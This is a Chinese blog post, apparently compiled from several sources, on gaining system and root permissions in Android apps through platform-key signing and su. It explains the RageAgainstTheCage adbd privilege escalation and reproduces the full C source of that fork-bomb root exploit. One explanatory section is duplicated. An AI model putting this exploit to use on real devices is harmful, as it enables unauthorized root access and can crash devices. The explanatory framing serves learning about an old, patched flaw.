Android应用如何获取System权限和root权限

Posted 晒干的老咸鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Android应用如何获取System权限和root权限相关的知识,希望对你有一定的参考价值。

android应用获取System权限的方式有以下两种:

第一种:

需要在Android系统源码的环境下用make来编译:

1. 在应用程序的AndroidManifest.xml中的manifest节点中加入           android:sharedUserId="android.uid.system"这个属性。

2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行

3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。

第二种:

1. 在应用程序的AndroidManifest.xml中的manifest节点中加入           android:sharedUserId="android.uid.system"这个属性。

2. 使用AndroidStudio或者Eclipse导出apk,此时的apk无法安装使用;

3. 用压缩软件打开apk文件,删掉META-INF目录下的CERT.SF和CERT.RSA两个文件,然后重新  打包为apk

4. 使用目标系统的platform密钥来重新给apk文件签名。这步比较麻烦,

 首先找到密钥文件,在我的Android源码目录中的位置是"build/target/product/security",下面的      platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名,signapk的源代码是在"build/tools/signapk"下,编译后在out/host/linux-x86/framework下,用法为"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用绝对路径防止找不到,也可以修改源代码直接使用。

以上两种方法的原理基本上都是一样的,就是通过android:sharedUserId="android.uid.system"将apk设置到System的用户组下,然后通过给apk添加platform的签名,这样就能把保证apk能在System的用户组下正常运行,并正常获取到System的权限。

怎样使android apk 获取root权限

一般linux 获取root权限是通过执行su命令,那能不能在apk程序中也同样执行一下该命令呢,我们知道在linux编程中,有exec函数族:

  int execl(const char *path, const char *arg, ...);

  int execlp(const char *file, const char *arg, ...);

  int execle(const char *path, const char *arg, ..., char *const envp[]);

  int execv(const char *path, char *const argv[]);

  int execvp(const char *file, char *const argv[]);

  int execve(const char *path, char *const argv[], char *const envp[]);

在java中我们可以借助 Runtime.getRuntime().exec(String command)访问底层Linux下的程序或脚本,这样就能执行su命令,使apk具有root权限,能够访问系统中需要root权限才能执行的程序或脚本了,具体例子:

package com.visit.dialoglog;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class VisitRootfileActivity extends Activity 
    private static final String TAG = "VisitRootfileActivity";
    Process process = null;
    Process process1 = null;   
    DataOutputStream os = null;
    DataInputStream is = null;
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) 
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        try 
            process = Runtime.getRuntime().exec("/system/xbin/su"); /*这里可能需要修改su

的源代码 (注掉  if (myuid != AID_ROOT && myuid != AID_SHELL) */

os = new DataOutputStream(process.getOutputStream());
            is = new DataInputStream(process.getInputStream());
           os.writeBytes("/system/bin/ls" + " \\n");  //这里可以执行具有root 权限的程序了  
            os.writeBytes(" exit \\n");
            os.flush();
            process.waitFor();
         catch (Exception e)             
            Log.e(TAG, "Unexpected error - Here is what I know:" + e.getMessage());
         finally 
            try 
                if (os != null) 
                    os.close();
                
                if (is != null) 
                    is.close();
                
                process.destroy();
             catch (Exception e) 
            
        // get the root privileges
    

Android系统root破解原理分析

从上面代码我们可以看到首先要运行su程序,其实root的秘密都在su程序中,Android系统默认的su程序只能root和shell可以用运行su,如果把这个限制拿掉,就是root破解了!

下面我们仔细分析一下程序是怎样获得root权限的,如果对Linux的su命令熟悉的朋友可能知道su程序都设置SUID位,我们查看一下已经root破解上的su权限设置,

我们发现su的所有者和所有组都是root,是其实是busybox的软链接,我们查看busybox的属性发现,其设置了SUID和SGID,并且所有者和所有组都是root。这样运行busybox的普通用户,busybox运行过程中获得的是root的有效用户。su程序则是把自己启动一个新的程序,并把自己权限提升至root(我们前面提到su其实就是busybox,运行期它的权限是root,当然也有权限来提升自己的权限)。

再强调一下不光root手机上su需要设置SUID,所有的Linux系统上的su程序都需要设置SUID位。

我们发现su也设置了SUID位,这样普通用户也可以运行su程序,su程序会验证root

密码,如果正确su程序可以把用户权限提高的root(因为其设置SUID位,运行期是root权限,这样其有权限提升自己的权限)。

Android系统的破解的根本原理就是替换掉系统中的su程序,因为系统中的默认su程序需要验证实际用户权限(只有root和shell用户才有权运行系统默认的su程序,其他用户运行都会返回错误)。而破解后的su将不检查实际用户权限,这样普通的用户也将可以运行su程序,也可以通过su程序将自己的权限提升。

root破解没有利用什么Linux内核漏洞(Linux内核不可能有这么大的漏洞存在),可以理解成root破解就是在你系统中植入“木马su”,说它是“木马”一点儿都不为过,假如恶意程序在系统中运行也可以通过su来提升自己的权限的这样的结果将会是灾难性的。所以一般情况下root过手机都会有一个SuperUser应用程序来让用户管理允许谁获得root权限.但是要替换掉系统中su程序本身就是需要root权限的,怎样在root破解过程中获得root权限,假设需要破解的Android系统具备如下条件:

1、可以通过adb连接到设备,一般意味着驱动程序已经安装。
2、但是adb获得用户权限是shell用户,而不是root。

先了解一下adb工具,设备端有adbd服务程序后台运行,为开发机的adb程序提供服务,adbd的权限,决定了adb的权限。具体用户可查看/system/core/adb下的源码,查看Android.mk你将会发现adb和adbd其实是一份代码,然后通过宏来编译。

查看adb.c的adb_main函数你将会发现adbd中有如下代码:

int adb_main(int is_daemon)



	......

	property_get("ro.secure", value,"");

	if (strcmp(value,"1") == 0) 

		// don't run as root if ro.secure is set...

		secure = 1;

		......

	

	if (secure) 

		......

		setgid(AID_SHELL);

		setuid(AID_SHELL);

	......

	

从中我们可以看到adbd会检测系统的ro.secure属性,如果该属性为1则将会把自己的用户权限降级成shell用户。一般设备出厂的时候在/default.prop文件中都会有:

1: ro.secure=1

这样将会使adbd启动的时候自动降级成shell用户。

然后我们再介绍一下adbd在什么时候启动的呢?答案是在init.rc中配置的系统服务,由init进程启动。我们查看init.rc中有如下内容:

1: # adbd is controlled by the persist.service.adb.enable system property

2: service adbd /sbin/adbd

3:    disabled

对Android属性系统少有了解的朋友将会知道,在init.rc中配置的系统服务启动的时候都是root权限(因为init进行是root权限,其子程序也是root)。由此我们可以知道在adbd程序在执行:

1:/* then switch user and group to "shell" */

2: setgid(AID_SHELL);

3: setuid(AID_SHELL);

代码之前都是root权限,只有执行这两句之后才变成shell权限的。

这样我们就可以引出root破解过程中获得root权限的方法了,那就是让上面setgid和setuid函数执行失败,也就是降级失败,那就继续在root权限下面运行了。

这里面做一个简单说明:

1、出厂设置的ro.secure属性为1,则adbd也将运行在shell用户权限下;
2、adb工具创建的进程ratc也运行在shell用户权限下;

3、ratc一直创建子进程(ratc创建的子程序也将会运行在shell用户权限下),紧接着子程序退出,形成僵尸进程,占用shell用户的进程资源,直到到达shell用户的进程数为RLIMIT_NPROC的时候(包括adbd、ratc及其子程序),这是ratc将会创建子进程失败。这时候杀掉adbd,adbd进程因为是Android系统服务,将会被Android系统自动重启,这时候ratc也在竞争产生子程序。在adbd程序执行上面setgid和setuid之前,ratc已经创建了一个新的子进程,那么shell用户的进程限额已经达到,则adbd进程执行setgid和setuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。

这时重新用adb连接设备,则adb将会运行在root权限下面了。

通过上面的介绍我们发现利用RageAgainstTheCage漏洞,可以使adbd获得root权限,也就是adb获得了root权限。拿到root权限剩下的问题就好办了,复制破解之后的su程序到系统中,都是没有什么技术含量的事情了。

其实堵住adbd的这个漏洞其实也挺简单的,新版本已经加两个这个补丁。

 

这样我们就可以引出root破解过程中获得root权限的方法了,那就是让上面setgid和setuid函数执行失败,也就是降级失败,那就继续在root权限下面运行了。

这里面做一个简单说明:

1、出厂设置的ro.secure属性为1,则adbd也将运行在shell用户权限下;
2、adb工具创建的进程ratc也运行在shell用户权限下;

3、ratc一直创建子进程(ratc创建的子程序也将会运行在shell用户权限下),紧接着子程序退出,形成僵尸进程,占用shell用户的进程资源,直到到达shell用户的进程数为RLIMIT_NPROC的时候(包括adbd、ratc及其子程序),这是ratc将会创建子进程失败。这时候杀掉adbd,adbd进程因为是Android系统服务,将会被Android系统自动重启,这时候ratc也在竞争产生子程序。在adbd程序执行上面setgid和setuid之前,ratc已经创建了一个新的子进程,那么shell用户的进程限额已经达到,则adbd进程执行setgid和setuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。

这时重新用adb连接设备,则adb将会运行在root权限下面了。

通过上面的介绍我们发现利用RageAgainstTheCage漏洞,可以使adbd获得root权限,也就是adb获得了root权限。拿到root权限剩下的问题就好办了,复制破解之后的su程序到系统中,都是没有什么技术含量的事情了。

其实堵住adbd的这个漏洞其实也挺简单的,新版本已经加两个这个补丁。

* (C) 2010 The Android Exploid Crew

*

* Needs to be executed via adb -d shell. It may take a while until

* all process slots are filled and the adb connection is reset.

*

* !!!This is PoC code for educational purposes only!!!

* If you run it, it might crash your device and make it unusable!

* So you use it at your own risk!

*/

#include <stdio.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/resource.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <string.h>

#include <signal.h>

#include <stdlib.h>

void die(const char *msg)



perror(msg);

exit(errno);



pid_t find_adb()



char buf[256];

int i = 0, fd = 0;

pid_t found = 0;

for (i = 0; i < 32000; ++i) 

sprintf(buf, "/proc/%d/cmdline", i);

if ((fd = open(buf, O_RDONLY)) < 0)

continue;

memset(buf, 0, sizeof(buf));

read(fd, buf, sizeof(buf) - 1);

close(fd);

if (strstr(buf, "/sbin/adb")) 

found = i;

break;





return found;



void restart_adb(pid_t pid)



kill(pid, 9);



void wait_for_root_adb(pid_t old_adb)



pid_t p = 0;

for (;;) 

p = find_adb();

if (p != 0 && p != old_adb)

break;

sleep(1);



sleep(5);

kill(-1, 9);



int main(int argc, char **argv)



pid_t adb_pid = 0, p;

int pids = 0, new_pids = 1;

int pepe[2];

char c = 0;

struct rlimit rl;

printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\\n\\n");

printf("[*] checking NPROC limit ...\\n");

if (getrlimit(RLIMIT_NPROC, &rl) < 0)

die("[-] getrlimit");

if (rl.rlim_cur == RLIM_INFINITY) 

printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\\n");

exit(1);



printf("[+] RLIMIT_NPROC=%lu, %lu\\n", rl.rlim_cur, rl.rlim_max);

printf("[*] Searching for adb ...\\n");

adb_pid = find_adb();

if (!adb_pid)

die("[-] Cannot find adb");

printf("[+] Found adb as PID %d\\n", adb_pid);

printf("[*] Spawning children. Dont type anything and wait for reset!\\n");

printf("[*]\\n[*] If you like what we are doing you can send us PayPal money to\\n"

"[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\\n"

"[*] If you are a company and feel like you profit from our work,\\n"

"[*] we also accept donations > 1000 USD!\\n");

printf("[*]\\n[*] adb connection will be reset. restart adb server on desktop and re-login.\\n");

sleep(5);

if (fork() > 0)

exit(0);

setsid();

pipe(pepe);

/* generate many (zombie) shell-user processes so restarting

* adb's setuid() will fail.

* The whole thing is a bit racy, since when we kill adb

* there is one more process slot left which we need to

* fill before adb reaches setuid(). Thats why we fork-bomb

* in a seprate process.

*/

if (fork() == 0) 

close(pepe[0]);

for (;;) 

if ((p = fork()) == 0) 

exit(0);

 else if (p < 0) 

if (new_pids) 

printf("\\n[+] Forked %d childs.\\n", pids);

new_pids = 0;

write(pepe[1], &c, 1);

close(pepe[1]);



 else 

++pids;







close(pepe[1]);

read(pepe[0], &c, 1);

restart_adb(adb_pid);

if (fork() == 0) 

fork();

for (;;)

sleep(0x743C);



wait_for_root_adb(adb_pid);

return 0;

Android应用程序获取system权限

参考技术A 支持原作者 : http://www.xugaoxiang.com/blog/index.php/archives/53/
软硬件环境

ubuntu 14.04
Android studio2.1.2
Android 5.1.1
前言

一般的Android应用程序,在安装后,程序只能访问/data/data/$程序包名下的数据,如常见的SharedPreferences、database等。
而如果想让app访问其它地方的资源时,就必须要获取更高的权限,像system或者root。本文完成system权限的获取,实际上一般的应用有system的权限基本上也够了。

修改apk内的AndroidManifest.xml

在app中的AndroidManifest.xml文件中的manifest标签中加入


android:sharedUserId="android.uid.system"
APP工程生成apk文件

android studio或者eclipse自动就帮你生成好了

给apk文件进行签名

这里分两种情况,一种是厂商,有android系统源码,既可以把app源码导入到android源码中,也可以单独完成签名。第二种是你仅仅是做应用的,拿不到厂商的source code,而且
这种情况也相当普遍,怎么办?别着急,我们今天就来解决这个问题。

签名需要的几个文件

这个你必须找厂商要,signapk.jar、platform.x509.pem、platform.pk8,如果你有source code,signapk.jar存放在prebuilts/sdk/tools/,platform.* 两个key文件存放在build/target/product/security/下

签名具体命令

java -jar signapk.jar platform.x509.pem platform.pk8 unsigned.apk signed.apk
制作新的image文件

如果你的应用需要预置到android系统中,将signed.apk导入到android源码目录中(一般是out/target/product/$hardware/system/app/下),编译生成新的
system.img,再烧录到目标板中。如果不需要预置,那就直接adb install好了。

测试

待系统启动后adb shell到板子上,ls -l查看app安装目录(/data/data/$程序包名)的权限,看看是不是变成system:system了。

以上是关于Android应用如何获取System权限和root权限的主要内容,如果未能解决你的问题,请参考以下文章

system下的app和priv-app有啥区别

Android系统签名apk,让应用获取系统级权限

Android 添加System权限

红米怎么开启官方自带ROOT权限

修改android手机文件权限

Android如何获得系统(system)权限